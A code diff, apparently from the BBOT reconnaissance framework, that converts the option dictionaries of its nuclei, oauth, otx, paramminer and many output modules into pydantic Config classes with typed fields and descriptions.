a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 1965a1c669..579f2dbf84 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -1,7 +1,10 @@ import json import yaml +from typing import Literal from itertools import islice from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class nuclei(BaseModule): @@ -14,38 +17,30 @@ class nuclei(BaseModule): "author": "@TheTechromancer", } - options = { - "version": "3.8.0", - "tags": "", - "templates": "", - "severity": "", - "ratelimit": 150, - "concurrency": 25, - "mode": "manual", - "etags": "", - "budget": 1, - "silent": False, - "directory_only": True, - "retries": 0, - "batch_size": 200, - "module_timeout": 21600, # 6 hours - } - options_desc = { - "version": "nuclei version", - "tags": "execute a subset of templates that contain the provided tags", - "templates": "template or template directory paths to include in the scan", - "severity": "Filter based on severity field available in the template.", - "ratelimit": "maximum number of requests to send per second (default 150)", - "concurrency": "maximum number of templates to be executed in parallel (default 25)", - "mode": "manual | technology | severe | budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests", - "etags": "tags to exclude from the scan", - "budget": "Used in budget mode to set the number of allowed requests per host", - "silent": "Don't display nuclei's banner or status messages", - "directory_only": "Filter out 'file' URL event (default True)", - "retries": "number of times to retry a failed request (default 0)", - "batch_size": "Number of targets to send to Nuclei per batch (default 200)", - "module_timeout": "Max time in seconds to spend handling each batch of events", - } + class Config(BaseModuleConfig): + version: str = Field('3.8.0', description='nuclei version') + tags: str = Field('', description='execute a subset of templates that contain the provided tags') + templates: str = Field('', description='template or template directory paths to include in the scan') + severity: str = Field('', description='Filter based on severity field available in the template.') + ratelimit: int = Field(150, description='maximum number of requests to send per second (default 150)') + concurrency: int = Field(25, description='maximum number of templates to be executed in parallel (default 25)') + mode: Literal["manual", "technology", "severe", "budget"] = Field( + "manual", + description=( + "manual | technology | severe | budget. " + "Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). " + "Manual (DEFAULT): Fully manual settings. " + "Severe: Only critical and high severity templates without intrusive. " + "Budget: Limit Nuclei to a specified number of HTTP requests" + ), + ) + etags: str = Field('', description='tags to exclude from the scan') + budget: int = Field(1, description='Used in budget mode to set the number of allowed requests per host') + silent: bool = Field(False, description="Don't display nuclei's banner or status messages") + directory_only: bool = Field(True, description="Filter out 'file' URL event (default True)") + retries: int = Field(0, description='number of times to retry a failed request (default 0)') + batch_size: int = Field(200, description='Number of targets to send to Nuclei per batch (default 200)') + module_timeout: int = Field(21600, description='Max time in seconds to spend handling each batch of events') deps_ansible = [ { "name": "Download nuclei", diff --git a/bbot/modules/oauth.py b/bbot/modules/oauth.py index 7bcbc972fa..0843f25353 100644 --- a/bbot/modules/oauth.py +++ b/bbot/modules/oauth.py @@ -1,6 +1,8 @@ from bbot.core.helpers.regexes import url_regexes from .base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class OAUTH(BaseModule): @@ -12,8 +14,8 @@ class OAUTH(BaseModule): "created_date": "2023-07-12", "author": "@TheTechromancer", } - options = {"try_all": False} - options_desc = {"try_all": "Check for OAUTH/IODC on every subdomain and URL."} + class Config(BaseModuleConfig): + try_all: bool = Field(False, description='Check for OAUTH/IODC on every subdomain and URL.') in_scope_only = False scope_distance_modifier = 1 diff --git a/bbot/modules/otx.py b/bbot/modules/otx.py index a22a5636b5..40100a81d3 100644 --- a/bbot/modules/otx.py +++ b/bbot/modules/otx.py @@ -1,4 +1,6 @@ from bbot.modules.templates.subdomain_enum import subdomain_enum_apikey +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class otx(subdomain_enum_apikey): @@ -11,8 +13,8 @@ class otx(subdomain_enum_apikey): "author": "@TheTechromancer", "auth_required": True, } - options = {"api_key": ""} - options_desc = {"api_key": "OTX API key"} + class Config(BaseModuleConfig): + api_key: str = Field('', description='OTX API key') base_url = "https://otx.alienvault.com" diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py index 7901d6ac8b..22d91e3542 100644 --- a/bbot/modules/output/asset_inventory.py +++ b/bbot/modules/output/asset_inventory.py @@ -4,6 +4,8 @@ from .csv import CSV from bbot.core.helpers.misc import make_ip_type, is_ip, is_port, best_http_status +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig severity_map = { "INFO": 0, @@ -37,13 +39,11 @@ class asset_inventory(CSV): "created_date": "2022-09-30", "author": "@liquidsec", } - options = {"output_file": "", "use_previous": False, "recheck": False, "summary_netmask": 16} - options_desc = { - "output_file": "Set a custom output file", - "use_previous": "Emit previous asset inventory as new events (use in conjunction with -n )", - "recheck": "When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan", - "summary_netmask": "Subnet mask to use when summarizing IP addresses at end of scan", - } + class Config(BaseModuleConfig): + output_file: str = Field('', description='Set a custom output file') + use_previous: bool = Field(False, description='Emit previous asset inventory as new events (use in conjunction with -n )') + recheck: bool = Field(False, description="When use_previous=True, don't retain past details like open ports or findings. Instead, allow them to be rediscovered by the new scan") + summary_netmask: int = Field(16, description='Subnet mask to use when summarizing IP addresses at end of scan') header_row = [ "Host", diff --git a/bbot/modules/output/csv.py b/bbot/modules/output/csv.py index 9b7d4b4bd9..677e04ebd9 100644 --- a/bbot/modules/output/csv.py +++ b/bbot/modules/output/csv.py @@ -2,13 +2,15 @@ from contextlib import suppress from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class CSV(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to CSV", "created_date": "2022-04-07", "author": "@TheTechromancer"} - options = {"output_file": ""} - options_desc = {"output_file": "Output to CSV file"} + class Config(BaseModuleConfig): + output_file: str = Field('', description='Output to CSV file') header_row = [ "Event type", diff --git a/bbot/modules/output/discord.py b/bbot/modules/output/discord.py index 934d89e670..f77ada86d8 100644 --- a/bbot/modules/output/discord.py +++ b/bbot/modules/output/discord.py @@ -1,4 +1,6 @@ from bbot.modules.templates.webhook import WebhookOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Discord(WebhookOutputModule): @@ -8,10 +10,8 @@ class Discord(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } - options = {"webhook_url": "", "event_types": ["FINDING"], "min_severity": "LOW", "retries": 10} - options_desc = { - "webhook_url": "Discord webhook URL", - "event_types": "Types of events to send", - "min_severity": "Only allow FINDING events of this severity or higher", - "retries": "Number of times to retry sending the message before skipping the event", - } + class Config(BaseModuleConfig): + webhook_url: str = Field('', description='Discord webhook URL') + event_types: list[str] = Field(['FINDING'], description='Types of events to send') + min_severity: str = Field('LOW', description='Only allow FINDING events of this severity or higher') + retries: int = Field(10, description='Number of times to retry sending the message before skipping the event') diff --git a/bbot/modules/output/elastic.py b/bbot/modules/output/elastic.py index 064c00af7c..b35e6ab19c 100644 --- a/bbot/modules/output/elastic.py +++ b/bbot/modules/output/elastic.py @@ -1,4 +1,6 @@ from .http import HTTP +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Elastic(HTTP): @@ -12,18 +14,11 @@ class Elastic(HTTP): "created_date": "2022-11-21", "author": "@TheTechromancer", } - options = { - "url": "https://localhost:9200/bbot_events/_doc", - "username": "elastic", - "password": "bbotislife", - "timeout": 10, - } - options_desc = { - "url": "Elastic URL (e.g. https://localhost:9200//_doc)", - "username": "Elastic username", - "password": "Elastic password", - "timeout": "HTTP timeout", - } + class Config(BaseModuleConfig): + url: str = Field('https://localhost:9200/bbot_events/_doc', description='Elastic URL (e.g. https://localhost:9200//_doc)') + username: str = Field('elastic', description='Elastic username') + password: str = Field('bbotislife', description='Elastic password') + timeout: int = Field(10, description='HTTP timeout') async def cleanup(self): # refresh the index diff --git a/bbot/modules/output/emails.py b/bbot/modules/output/emails.py index 6bfe940689..3fa9c1a839 100644 --- a/bbot/modules/output/emails.py +++ b/bbot/modules/output/emails.py @@ -1,5 +1,7 @@ from bbot.modules.output.txt import TXT from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Emails(TXT): @@ -10,8 +12,8 @@ class Emails(TXT): "created_date": "2023-12-23", "author": "@domwhewell-sage", } - options = {"output_file": ""} - options_desc = {"output_file": "Output to file"} + class Config(BaseModuleConfig): + output_file: str = Field('', description='Output to file') in_scope_only = True accept_dupes = False diff --git a/bbot/modules/output/http.py b/bbot/modules/output/http.py index e2ad87d898..c79f4eb0dd 100644 --- a/bbot/modules/output/http.py +++ b/bbot/modules/output/http.py @@ -1,5 +1,7 @@ from bbot.models.pydantic import Event from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class HTTP(BaseOutputModule): @@ -9,24 +11,14 @@ class HTTP(BaseOutputModule): "created_date": "2022-04-13", "author": "@TheTechromancer", } - options = { - "url": "", - "method": "POST", - "bearer": "", - "username": "", - "password": "", - "headers": {}, - "timeout": 10, - } - options_desc = { - "url": "Web URL", - "method": "HTTP method", - "bearer": "Authorization Bearer token", - "username": "Username (basic auth)", - "password": "Password (basic auth)", - "headers": "Additional headers to send with the request", - "timeout": "HTTP timeout", - } + class Config(BaseModuleConfig): + url: str = Field('', description='Web URL') + method: str = Field('POST', description='HTTP method') + bearer: str = Field('', description='Authorization Bearer token') + username: str = Field('', description='Username (basic auth)') + password: str = Field('', description='Password (basic auth)') + headers: dict = Field({}, description='Additional headers to send with the request') + timeout: int = Field(10, description='HTTP timeout') async def setup(self): self.url = self.config.get("url", "") diff --git a/bbot/modules/output/json.py b/bbot/modules/output/json.py index b93d1e4e3f..c0e69f36bb 100644 --- a/bbot/modules/output/json.py +++ b/bbot/modules/output/json.py @@ -2,6 +2,8 @@ from contextlib import suppress from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class JSON(BaseOutputModule): @@ -11,10 +13,8 @@ class JSON(BaseOutputModule): "created_date": "2022-04-07", "author": "@TheTechromancer", } - options = {"output_file": ""} - options_desc = { - "output_file": "Output to file", - } + class Config(BaseModuleConfig): + output_file: str = Field('', description='Output to file') _preserve_graph = True async def setup(self): diff --git a/bbot/modules/output/kafka.py b/bbot/modules/output/kafka.py index 01eeeb2fd6..52dd95b11c 100644 --- a/bbot/modules/output/kafka.py +++ b/bbot/modules/output/kafka.py @@ -2,6 +2,8 @@ from aiokafka import AIOKafkaProducer from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Kafka(BaseOutputModule): @@ -11,14 +13,9 @@ class Kafka(BaseOutputModule): "created_date": "2024-11-22", "author": "@TheTechromancer", } - options = { - "bootstrap_servers": "localhost:9092", - "topic": "bbot_events", - } - options_desc = { - "bootstrap_servers": "A comma-separated list of Kafka server addresses", - "topic": "The Kafka topic to publish events to", - } + class Config(BaseModuleConfig): + bootstrap_servers: str = Field('localhost:9092', description='A comma-separated list of Kafka server addresses') + topic: str = Field('bbot_events', description='The Kafka topic to publish events to') deps_pip = ["aiokafka~=0.12.0"] async def setup(self): diff --git a/bbot/modules/output/mongo.py b/bbot/modules/output/mongo.py index 833eab2304..f9c2ad185a 100644 --- a/bbot/modules/output/mongo.py +++ b/bbot/modules/output/mongo.py @@ -4,6 +4,8 @@ from bbot.models.pydantic import Event, Scan, Target from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Mongo(BaseOutputModule): @@ -17,20 +19,12 @@ class Mongo(BaseOutputModule): "created_date": "2024-11-17", "author": "@TheTechromancer", } - options = { - "uri": "mongodb://localhost:27017", - "database": "bbot", - "username": "", - "password": "", - "collection_prefix": "", - } - options_desc = { - "uri": "The URI of the MongoDB server", - "database": "The name of the database to use", - "username": "The username to use to connect to the database", - "password": "The password to use to connect to the database", - "collection_prefix": "Prefix the name of each collection with this string", - } + class Config(BaseModuleConfig): + uri: str = Field('mongodb://localhost:27017', description='The URI of the MongoDB server') + database: str = Field('bbot', description='The name of the database to use') + username: str = Field('', description='The username to use to connect to the database') + password: str = Field('', description='The password to use to connect to the database') + collection_prefix: str = Field('', description='Prefix the name of each collection with this string') deps_pip = ["pymongo~=4.15"] async def setup(self): diff --git a/bbot/modules/output/mysql.py b/bbot/modules/output/mysql.py index 8d9a1f7f4c..f66fc68558 100644 --- a/bbot/modules/output/mysql.py +++ b/bbot/modules/output/mysql.py @@ -1,4 +1,6 @@ from bbot.modules.templates.sql import SQLTemplate +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class MySQL(SQLTemplate): @@ -8,20 +10,12 @@ class MySQL(SQLTemplate): "created_date": "2024-11-13", "author": "@TheTechromancer", } - options = { - "username": "root", - "password": "bbotislife", - "host": "localhost", - "port": 3306, - "database": "bbot", - } - options_desc = { - "username": "The username to connect to MySQL", - "password": "The password to connect to MySQL", - "host": "The server running MySQL", - "port": "The port to connect to MySQL", - "database": "The database name to connect to", - } + class Config(BaseModuleConfig): + username: str = Field('root', description='The username to connect to MySQL') + password: str = Field('bbotislife', description='The password to connect to MySQL') + host: str = Field('localhost', description='The server running MySQL') + port: int = Field(3306, description='The port to connect to MySQL') + database: str = Field('bbot', description='The database name to connect to') deps_pip = ["sqlmodel", "aiomysql"] protocol = "mysql+aiomysql" diff --git a/bbot/modules/output/nats.py b/bbot/modules/output/nats.py index 569645cc3b..75c3fdd741 100644 --- a/bbot/modules/output/nats.py +++ b/bbot/modules/output/nats.py @@ -1,6 +1,8 @@ import json import nats from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class NATS(BaseOutputModule): @@ -10,14 +12,9 @@ class NATS(BaseOutputModule): "created_date": "2024-11-22", "author": "@TheTechromancer", } - options = { - "servers": [], - "subject": "bbot_events", - } - options_desc = { - "servers": "A list of NATS server addresses", - "subject": "The NATS subject to publish events to", - } + class Config(BaseModuleConfig): + servers: list = Field([], description='A list of NATS server addresses') + subject: str = Field('bbot_events', description='The NATS subject to publish events to') deps_pip = ["nats-py"] async def setup(self): diff --git a/bbot/modules/output/neo4j.py b/bbot/modules/output/neo4j.py index 8d88572575..0641269799 100644 --- a/bbot/modules/output/neo4j.py +++ b/bbot/modules/output/neo4j.py @@ -4,6 +4,8 @@ from neo4j import AsyncGraphDatabase from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig # silence annoying neo4j logger @@ -33,12 +35,10 @@ class neo4j(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to Neo4j", "created_date": "2022-04-07", "author": "@TheTechromancer"} - options = {"uri": "bolt://localhost:7687", "username": "neo4j", "password": "bbotislife"} - options_desc = { - "uri": "Neo4j server + port", - "username": "Neo4j username", - "password": "Neo4j password", - } + class Config(BaseModuleConfig): + uri: str = Field('bolt://localhost:7687', description='Neo4j server + port') + username: str = Field('neo4j', description='Neo4j username') + password: str = Field('bbotislife', description='Neo4j password') deps_pip = ["neo4j"] _batch_size = 500 _preserve_graph = True diff --git a/bbot/modules/output/postgres.py b/bbot/modules/output/postgres.py index 45beb7c7bc..61694b2f4b 100644 --- a/bbot/modules/output/postgres.py +++ b/bbot/modules/output/postgres.py @@ -1,4 +1,6 @@ from bbot.modules.templates.sql import SQLTemplate +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Postgres(SQLTemplate): @@ -8,20 +10,12 @@ class Postgres(SQLTemplate): "created_date": "2024-11-08", "author": "@TheTechromancer", } - options = { - "username": "postgres", - "password": "bbotislife", - "host": "localhost", - "port": 5432, - "database": "bbot", - } - options_desc = { - "username": "The username to connect to Postgres", - "password": "The password to connect to Postgres", - "host": "The server running Postgres", - "port": "The port to connect to Postgres", - "database": "The database name to connect to", - } + class Config(BaseModuleConfig): + username: str = Field('postgres', description='The username to connect to Postgres') + password: str = Field('bbotislife', description='The password to connect to Postgres') + host: str = Field('localhost', description='The server running Postgres') + port: int = Field(5432, description='The port to connect to Postgres') + database: str = Field('bbot', description='The database name to connect to') deps_pip = ["sqlmodel", "asyncpg"] protocol = "postgresql+asyncpg" diff --git a/bbot/modules/output/rabbitmq.py b/bbot/modules/output/rabbitmq.py index ba4205940d..8e28e4c649 100644 --- a/bbot/modules/output/rabbitmq.py +++ b/bbot/modules/output/rabbitmq.py @@ -2,6 +2,8 @@ import aio_pika from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class RabbitMQ(BaseOutputModule): @@ -11,14 +13,9 @@ class RabbitMQ(BaseOutputModule): "created_date": "2024-11-22", "author": "@TheTechromancer", } - options = { - "url": "amqp://guest:guest@localhost/", - "queue": "bbot_events", - } - options_desc = { - "url": "The RabbitMQ connection URL", - "queue": "The RabbitMQ queue to publish events to", - } + class Config(BaseModuleConfig): + url: str = Field('amqp://guest:guest@localhost/', description='The RabbitMQ connection URL') + queue: str = Field('bbot_events', description='The RabbitMQ queue to publish events to') deps_pip = ["aio_pika~=9.5.0"] async def setup(self): diff --git a/bbot/modules/output/slack.py b/bbot/modules/output/slack.py index 299d7334cf..056bed4389 100644 --- a/bbot/modules/output/slack.py +++ b/bbot/modules/output/slack.py @@ -1,6 +1,8 @@ import yaml from bbot.modules.templates.webhook import WebhookOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Slack(WebhookOutputModule): @@ -10,13 +12,11 @@ class Slack(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } - options = {"webhook_url": "", "event_types": ["FINDING"], "min_severity": "LOW", "retries": 10} - options_desc = { - "webhook_url": "Discord webhook URL", - "event_types": "Types of events to send", - "min_severity": "Only allow FINDING events of this severity or higher", - "retries": "Number of times to retry sending the message before skipping the event", - } + class Config(BaseModuleConfig): + webhook_url: str = Field('', description='Discord webhook URL') + event_types: list[str] = Field(['FINDING'], description='Types of events to send') + min_severity: str = Field('LOW', description='Only allow FINDING events of this severity or higher') + retries: int = Field(10, description='Number of times to retry sending the message before skipping the event') content_key = "text" def format_message_str(self, event): diff --git a/bbot/modules/output/splunk.py b/bbot/modules/output/splunk.py index 0c0a0dd804..97d33a6bc1 100644 --- a/bbot/modules/output/splunk.py +++ b/bbot/modules/output/splunk.py @@ -1,5 +1,7 @@ from bbot.errors import WebError from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Splunk(BaseOutputModule): @@ -9,20 +11,12 @@ class Splunk(BaseOutputModule): "created_date": "2024-02-17", "author": "@w0Tx", } - options = { - "url": "", - "hectoken": "", - "index": "", - "source": "", - "timeout": 10, - } - options_desc = { - "url": "Web URL", - "hectoken": "HEC Token", - "index": "Index to send data to", - "source": "Source path to be added to the metadata", - "timeout": "HTTP timeout", - } + class Config(BaseModuleConfig): + url: str = Field('', description='Web URL') + hectoken: str = Field('', description='HEC Token') + index: str = Field('', description='Index to send data to') + source: str = Field('', description='Source path to be added to the metadata') + timeout: int = Field(10, description='HTTP timeout') async def setup(self): self.url = self.config.get("url", "") diff --git a/bbot/modules/output/sqlite.py b/bbot/modules/output/sqlite.py index 261b13b6e2..b6a0e11d37 100644 --- a/bbot/modules/output/sqlite.py +++ b/bbot/modules/output/sqlite.py @@ -1,6 +1,8 @@ from pathlib import Path from bbot.modules.templates.sql import SQLTemplate +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class SQLite(SQLTemplate): @@ -10,12 +12,8 @@ class SQLite(SQLTemplate): "created_date": "2024-11-07", "author": "@TheTechromancer", } - options = { - "database": "", - } - options_desc = { - "database": "The path to the sqlite database file", - } + class Config(BaseModuleConfig): + database: str = Field('', description='The path to the sqlite database file') deps_pip = ["sqlmodel", "aiosqlite"] async def setup(self): diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 974b7ede16..73d59370dc 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -2,19 +2,19 @@ from bbot.logger import log_to_stderr from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Stdout(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to text", "created_date": "2024-04-03", "author": "@TheTechromancer"} - options = {"format": "text", "event_types": [], "event_fields": [], "in_scope_only": False, "accept_dupes": True} - options_desc = { - "format": "Which text format to display, choices: text,json", - "event_types": "Which events to display, default all event types", - "event_fields": "Which event fields to display", - "in_scope_only": "Whether to only show in-scope events", - "accept_dupes": "Whether to show duplicate events, default True", - } + class Config(BaseModuleConfig): + format: str = Field('text', description='Which text format to display, choices: text,json') + event_types: list = Field([], description='Which events to display, default all event types') + event_fields: list = Field([], description='Which event fields to display') + in_scope_only: bool = Field(False, description='Whether to only show in-scope events') + accept_dupes: bool = Field(True, description='Whether to show duplicate events, default True') vuln_severity_map = { "INFO": "HUGEINFO", "LOW": "HUGEWARNING", diff --git a/bbot/modules/output/subdomains.py b/bbot/modules/output/subdomains.py index 65d082355e..0e58d3e842 100644 --- a/bbot/modules/output/subdomains.py +++ b/bbot/modules/output/subdomains.py @@ -1,5 +1,7 @@ from bbot.modules.output.txt import TXT from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Subdomains(TXT): @@ -10,8 +12,9 @@ class Subdomains(TXT): "created_date": "2023-07-31", "author": "@TheTechromancer", } - options = {"output_file": "", "include_unresolved": False} - options_desc = {"output_file": "Output to file", "include_unresolved": "Include unresolved subdomains in output"} + class Config(BaseModuleConfig): + output_file: str = Field('', description='Output to file') + include_unresolved: bool = Field(False, description='Include unresolved subdomains in output') accept_dupes = False in_scope_only = True diff --git a/bbot/modules/output/teams.py b/bbot/modules/output/teams.py index 2ab461d5a6..c4fd7a3bac 100644 --- a/bbot/modules/output/teams.py +++ b/bbot/modules/output/teams.py @@ -1,4 +1,6 @@ from bbot.modules.templates.webhook import WebhookOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Teams(WebhookOutputModule): @@ -8,13 +10,11 @@ class Teams(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } - options = {"webhook_url": "", "event_types": ["FINDING"], "min_severity": "LOW", "retries": 10} - options_desc = { - "webhook_url": "Teams webhook URL", - "event_types": "Types of events to send", - "min_severity": "Only allow FINDING events of this severity or higher", - "retries": "Number of times to retry sending the message before skipping the event", - } + class Config(BaseModuleConfig): + webhook_url: str = Field('', description='Teams webhook URL') + event_types: list[str] = Field(['FINDING'], description='Types of events to send') + min_severity: str = Field('LOW', description='Only allow FINDING events of this severity or higher') + retries: int = Field(10, description='Number of times to retry sending the message before skipping the event') async def handle_event(self, event): data = self.format_message(event) diff --git a/bbot/modules/output/txt.py b/bbot/modules/output/txt.py index 2dfb14c106..42fd12d1fe 100644 --- a/bbot/modules/output/txt.py +++ b/bbot/modules/output/txt.py @@ -1,13 +1,15 @@ from contextlib import suppress from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class TXT(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to text", "created_date": "2024-04-03", "author": "@TheTechromancer"} - options = {"output_file": ""} - options_desc = {"output_file": "Output to file"} + class Config(BaseModuleConfig): + output_file: str = Field('', description='Output to file') output_filename = "output.txt" diff --git a/bbot/modules/output/web_parameters.py b/bbot/modules/output/web_parameters.py index 634a623720..1edf5a1b7a 100644 --- a/bbot/modules/output/web_parameters.py +++ b/bbot/modules/output/web_parameters.py @@ -2,6 +2,8 @@ from collections import defaultdict from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Web_parameters(BaseOutputModule): @@ -11,11 +13,9 @@ class Web_parameters(BaseOutputModule): "created_date": "2025-01-25", "author": "@liquidsec", } - options = {"output_file": "", "include_count": False} - options_desc = { - "output_file": "Output to file", - "include_count": "Include the count of each parameter in the output", - } + class Config(BaseModuleConfig): + output_file: str = Field('', description='Output to file') + include_count: bool = Field(False, description='Include the count of each parameter in the output') output_filename = "web_parameters.txt" diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index 4cd2412046..81f984540e 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -1,6 +1,8 @@ from bbot.modules.output.base import BaseOutputModule import markdown import html +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class web_report(BaseOutputModule): @@ -10,11 +12,9 @@ class web_report(BaseOutputModule): "created_date": "2023-02-08", "author": "@liquidsec", } - options = { - "output_file": "", - "css_theme_file": "https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css", - } - options_desc = {"output_file": "Output to file", "css_theme_file": "CSS theme URL for HTML output"} + class Config(BaseModuleConfig): + output_file: str = Field('', description='Output to file') + css_theme_file: str = Field('https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css', description='CSS theme URL for HTML output') deps_pip = ["markdown~=3.4.3"] async def setup(self): diff --git a/bbot/modules/output/websocket.py b/bbot/modules/output/websocket.py index 13ff355014..d5f3d92c8f 100644 --- a/bbot/modules/output/websocket.py +++ b/bbot/modules/output/websocket.py @@ -4,18 +4,18 @@ import websockets from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class Websocket(BaseOutputModule): watched_events = ["*"] meta = {"description": "Output to websockets", "created_date": "2022-04-15", "author": "@TheTechromancer"} - options = {"url": "", "token": "", "preserve_graph": True, "ignore_ssl": False} - options_desc = { - "url": "Web URL", - "token": "Authorization Bearer token", - "preserve_graph": "Preserve full chains of events in the graph (prevents orphans)", - "ignore_ssl": "Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.)", - } + class Config(BaseModuleConfig): + url: str = Field('', description='Web URL') + token: str = Field('', description='Authorization Bearer token') + preserve_graph: bool = Field(True, description='Preserve full chains of events in the graph (prevents orphans)') + ignore_ssl: bool = Field(False, description='Ignores all Websocket SSL related errors (like Self-Signed Certificates, etc.)') async def setup(self): self.url = self.config.get("url", "") diff --git a/bbot/modules/output/zeromq.py b/bbot/modules/output/zeromq.py index 938f234545..c9a7e4059f 100644 --- a/bbot/modules/output/zeromq.py +++ b/bbot/modules/output/zeromq.py @@ -2,6 +2,8 @@ import json from bbot.modules.output.base import BaseOutputModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class ZeroMQ(BaseOutputModule): @@ -11,12 +13,8 @@ class ZeroMQ(BaseOutputModule): "created_date": "2024-11-22", "author": "@TheTechromancer", } - options = { - "zmq_address": "", - } - options_desc = { - "zmq_address": "The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555)", - } + class Config(BaseModuleConfig): + zmq_address: str = Field('', description='The ZeroMQ socket address to publish events to (e.g. tcp://localhost:5555)') async def setup(self): self.zmq_address = self.config.get("zmq_address", "") diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index 871238d803..c85b8e92f5 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -1,4 +1,6 @@ from .paramminer_headers import paramminer_headers +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class paramminer_cookies(paramminer_headers): @@ -14,17 +16,14 @@ class paramminer_cookies(paramminer_headers): "created_date": "2022-06-27", "author": "@liquidsec", } - options = { - "wordlist": "", # default is defined within setup function - "recycle_words": False, - "skip_boring_words": True, - } - options_desc = { - "wordlist": "Define the wordlist to be used to derive headers", - "recycle_words": "Attempt to use words found during the scan on all other endpoints", - "skip_boring_words": "Remove commonly uninteresting words from the wordlist", - } - options_desc = {"wordlist": "Define the wordlist to be used to derive cookies"} + class Config(BaseModuleConfig): + wordlist: str = Field("", description="Define the wordlist to be used to derive cookies") + recycle_words: bool = Field( + False, description="Attempt to use words found during the scan on all other endpoints" + ) + skip_boring_words: bool = Field( + True, description="Remove commonly uninteresting words from the wordlist" + ) scanned_hosts = [] boring_words = set() _module_threads = 12 diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index 27a99f8ab4..98e9497f69 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -1,4 +1,6 @@ from .paramminer_headers import paramminer_headers +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class paramminer_getparams(paramminer_headers): @@ -15,16 +17,10 @@ class paramminer_getparams(paramminer_headers): "author": "@liquidsec", } scanned_hosts = [] - options = { - "wordlist": "", # default is defined within setup function - "recycle_words": False, - "skip_boring_words": True, - } - options_desc = { - "wordlist": "Define the wordlist to be used to derive headers", - "recycle_words": "Attempt to use words found during the scan on all other endpoints", - "skip_boring_words": "Remove commonly uninteresting words from the wordlist", - } + class Config(BaseModuleConfig): + wordlist: str = Field('', description='Define the wordlist to be used to derive headers') + recycle_words: bool = Field(False, description='Attempt to use words found during the scan on all other endpoints') + skip_boring_words: bool = Field(True, description='Remove commonly uninteresting words from the wordlist') boring_words = {"utm_source", "utm_campaign", "utm_medium", "utm_term", "utm_content"} in_scope_only = True compare_mode = "getparam" diff --git a/bbot/modules/paramminer_headers.py b/bbot/modules/paramminer_headers.py index ae573abadf..c99388ffae 100644 --- a/bbot/modules/paramminer_headers.py +++ b/bbot/modules/paramminer_headers.py @@ -2,6 +2,8 @@ from bbot.errors import HttpCompareError from bbot.modules.base import BaseModule +from pydantic import Field +from bbot.core.config.models import BaseModuleConfig class paramminer_headers(BaseModule): @@ -17,16 +19,10 @@ class paramminer_headers(BaseModule): "created_date": "2022-04-15", "author": "@liquidsec", } - options = { - "wordlist": "", # default is defined within setup function - "recycle_words": False, - "skip_boring_words": True, - } 